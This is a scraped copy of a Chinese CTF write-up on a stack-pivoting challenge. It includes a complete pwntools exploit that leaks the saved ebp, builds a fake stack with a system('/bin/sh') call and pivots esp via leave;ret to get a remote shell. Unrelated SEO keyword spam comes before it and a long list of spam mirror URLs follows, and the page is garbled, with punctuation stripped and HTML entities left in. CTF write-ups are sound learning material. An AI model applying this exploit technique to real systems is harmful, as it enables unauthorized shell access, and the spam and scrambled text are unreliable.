问答网站建设,该网站未在腾讯云备案,php除了做网站还能做什么,惠州百优做网站小程序熊掌号第一道栈迁移题目#xff0c;跌跌撞撞理解了 前言
当前溢出可用空间比较少时#xff08;极端情况下仅能覆写ebp和ret#xff09;#xff0c;可以通过栈迁移的方式#xff0c;扩大shellcode的容纳空间#xff0c;其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋… 第一道栈迁移题目跌跌撞撞理解了 前言
当前溢出可用空间比较少时极端情况下仅能覆写ebp和ret可以通过栈迁移的方式扩大shellcode的容纳空间其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋值所以总是通过两次leave;ret的方式修改esp到固定位置。 一、代码审计 有两次读入操作。read进的内容超过字符串的长度存在栈溢出漏洞。然而计算溢出长度发现只有8字节即刚好可以覆写ebp和ret。 发现system的函数意味着plt对应的表项存在然而这个hack函数并不能给出flag。是个tricky。 二、思路与过程
这里采用栈迁移的方式拓展可构造rop链的空间。
思路是这样的修改esp为新一处地址→前提需要修改ebp为劫持目标地址ebp给esp赋值→这意味着要知道泄露栈地址。因此
具体操作可看这个大神的blog[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)_buuojpwn栈空间不足_Y-peak的博客-CSDN博客
泄露ebpmain_ebp地址 —— 通过第一个read实现计算劫持目标地址修改ebp为劫持目标地址、修改ret为leave;ret地址 —— 通过第二个read实现 三、EXP
from pwn import *
from pwn import u32,p32context.log_leveldebugioprocess(./pwn)
ioremote(node4.buuoj.cn,26158)
# context.terminal [tmux,splitw,-h]
# gdb.attach(proc.pidof(io)[0],gdbscriptb main)elfELF(./pwn)
call_system0x8048559
#这里没用system_plt的地址而是用了call _system的地址意味着参数紧跟该地址之后不需要空四个字节
leave_ret0x80484b8
#修改ebp以及ret然而我们要知道具体的ebp的内容的值#①所以第一次read输入是为了泄露ebp
payloadba*0x27bb
io.recvuntil(bname?\n)
io.send(payload)
# main_ebpu32(io.recvuntil(b\xf7)[-4:])
io.recvuntil(baaab)
main_ebpu32(io.recv(4))
print(hex(main_ebp))
io.recv()#②第二次read则是为了在栈上填充信息修改ebp和ret后esp将迁移
# payload(bthisp32(call_system)bthatb/bin/sh\x00).ljust(0x28,ba)
# 上面的payload用于本地调试时找到偏移量0x38和0x28
payload(bthisp32(call_system)p32(main_ebp-0x2c)b/bin/sh\x00).ljust(0x28,ba)
#call _system,参数紧跟其后无需空开一个字长
payloadp32(main_ebp-0x38)
payloadp32(leave_ret)
io.sendline(payload)io.interactive() 总结
接触到高级一些的栈溢出内容需要多做题予以巩固。 文章转载自: http://www.morning.cyysq.cn.gov.cn.cyysq.cn http://www.morning.gkgr.cn.gov.cn.gkgr.cn http://www.morning.mywnk.cn.gov.cn.mywnk.cn http://www.morning.hyxwh.cn.gov.cn.hyxwh.cn http://www.morning.bpmtl.cn.gov.cn.bpmtl.cn http://www.morning.fnnkl.cn.gov.cn.fnnkl.cn http://www.morning.wflpj.cn.gov.cn.wflpj.cn http://www.morning.sxygc.cn.gov.cn.sxygc.cn http://www.morning.hfxks.cn.gov.cn.hfxks.cn http://www.morning.hksxq.cn.gov.cn.hksxq.cn http://www.morning.swbhq.cn.gov.cn.swbhq.cn http://www.morning.njfgl.cn.gov.cn.njfgl.cn http://www.morning.fxpyt.cn.gov.cn.fxpyt.cn http://www.morning.ssrjt.cn.gov.cn.ssrjt.cn http://www.morning.llmhq.cn.gov.cn.llmhq.cn http://www.morning.nmfml.cn.gov.cn.nmfml.cn http://www.morning.dnmwl.cn.gov.cn.dnmwl.cn http://www.morning.qxlyf.cn.gov.cn.qxlyf.cn http://www.morning.gstmn.cn.gov.cn.gstmn.cn http://www.morning.madamli.com.gov.cn.madamli.com http://www.morning.wjxtq.cn.gov.cn.wjxtq.cn http://www.morning.tqsgt.cn.gov.cn.tqsgt.cn http://www.morning.tdxnz.cn.gov.cn.tdxnz.cn http://www.morning.mqbzk.cn.gov.cn.mqbzk.cn http://www.morning.ftync.cn.gov.cn.ftync.cn http://www.morning.wcrcy.cn.gov.cn.wcrcy.cn http://www.morning.cbpmq.cn.gov.cn.cbpmq.cn http://www.morning.rszwc.cn.gov.cn.rszwc.cn http://www.morning.qsy38.cn.gov.cn.qsy38.cn http://www.morning.youngbase.cn.gov.cn.youngbase.cn http://www.morning.nlnmy.cn.gov.cn.nlnmy.cn http://www.morning.tqpr.cn.gov.cn.tqpr.cn http://www.morning.mmosan.com.gov.cn.mmosan.com http://www.morning.brtxg.cn.gov.cn.brtxg.cn http://www.morning.hxgly.cn.gov.cn.hxgly.cn http://www.morning.mrlkr.cn.gov.cn.mrlkr.cn http://www.morning.zpdjh.cn.gov.cn.zpdjh.cn http://www.morning.hympq.cn.gov.cn.hympq.cn http://www.morning.hxljc.cn.gov.cn.hxljc.cn http://www.morning.skrxp.cn.gov.cn.skrxp.cn http://www.morning.rrcrs.cn.gov.cn.rrcrs.cn http://www.morning.qdlnw.cn.gov.cn.qdlnw.cn http://www.morning.xyrw.cn.gov.cn.xyrw.cn http://www.morning.nqyzg.cn.gov.cn.nqyzg.cn http://www.morning.nzfqw.cn.gov.cn.nzfqw.cn http://www.morning.ljtwp.cn.gov.cn.ljtwp.cn http://www.morning.nppml.cn.gov.cn.nppml.cn http://www.morning.jntcr.cn.gov.cn.jntcr.cn http://www.morning.gqnll.cn.gov.cn.gqnll.cn http://www.morning.dfffm.cn.gov.cn.dfffm.cn http://www.morning.qwwcf.cn.gov.cn.qwwcf.cn http://www.morning.wjqbr.cn.gov.cn.wjqbr.cn http://www.morning.rklgm.cn.gov.cn.rklgm.cn http://www.morning.tyjp.cn.gov.cn.tyjp.cn http://www.morning.gryzk.cn.gov.cn.gryzk.cn http://www.morning.zcqtr.cn.gov.cn.zcqtr.cn http://www.morning.lwsct.cn.gov.cn.lwsct.cn http://www.morning.kskpx.cn.gov.cn.kskpx.cn http://www.morning.fdhwh.cn.gov.cn.fdhwh.cn http://www.morning.bbxbh.cn.gov.cn.bbxbh.cn http://www.morning.rwjh.cn.gov.cn.rwjh.cn http://www.morning.gfhng.cn.gov.cn.gfhng.cn http://www.morning.frpfk.cn.gov.cn.frpfk.cn http://www.morning.tlbdy.cn.gov.cn.tlbdy.cn http://www.morning.crfyr.cn.gov.cn.crfyr.cn http://www.morning.gccrn.cn.gov.cn.gccrn.cn http://www.morning.gpnfg.cn.gov.cn.gpnfg.cn http://www.morning.ypqwm.cn.gov.cn.ypqwm.cn http://www.morning.mnyzz.cn.gov.cn.mnyzz.cn http://www.morning.qbkw.cn.gov.cn.qbkw.cn http://www.morning.zzfqn.cn.gov.cn.zzfqn.cn http://www.morning.yzfrh.cn.gov.cn.yzfrh.cn http://www.morning.prprj.cn.gov.cn.prprj.cn http://www.morning.pzjfz.cn.gov.cn.pzjfz.cn http://www.morning.jmspy.cn.gov.cn.jmspy.cn http://www.morning.glswq.cn.gov.cn.glswq.cn http://www.morning.tqgmd.cn.gov.cn.tqgmd.cn http://www.morning.pqkyx.cn.gov.cn.pqkyx.cn http://www.morning.sqfrg.cn.gov.cn.sqfrg.cn http://www.morning.ycgrl.cn.gov.cn.ycgrl.cn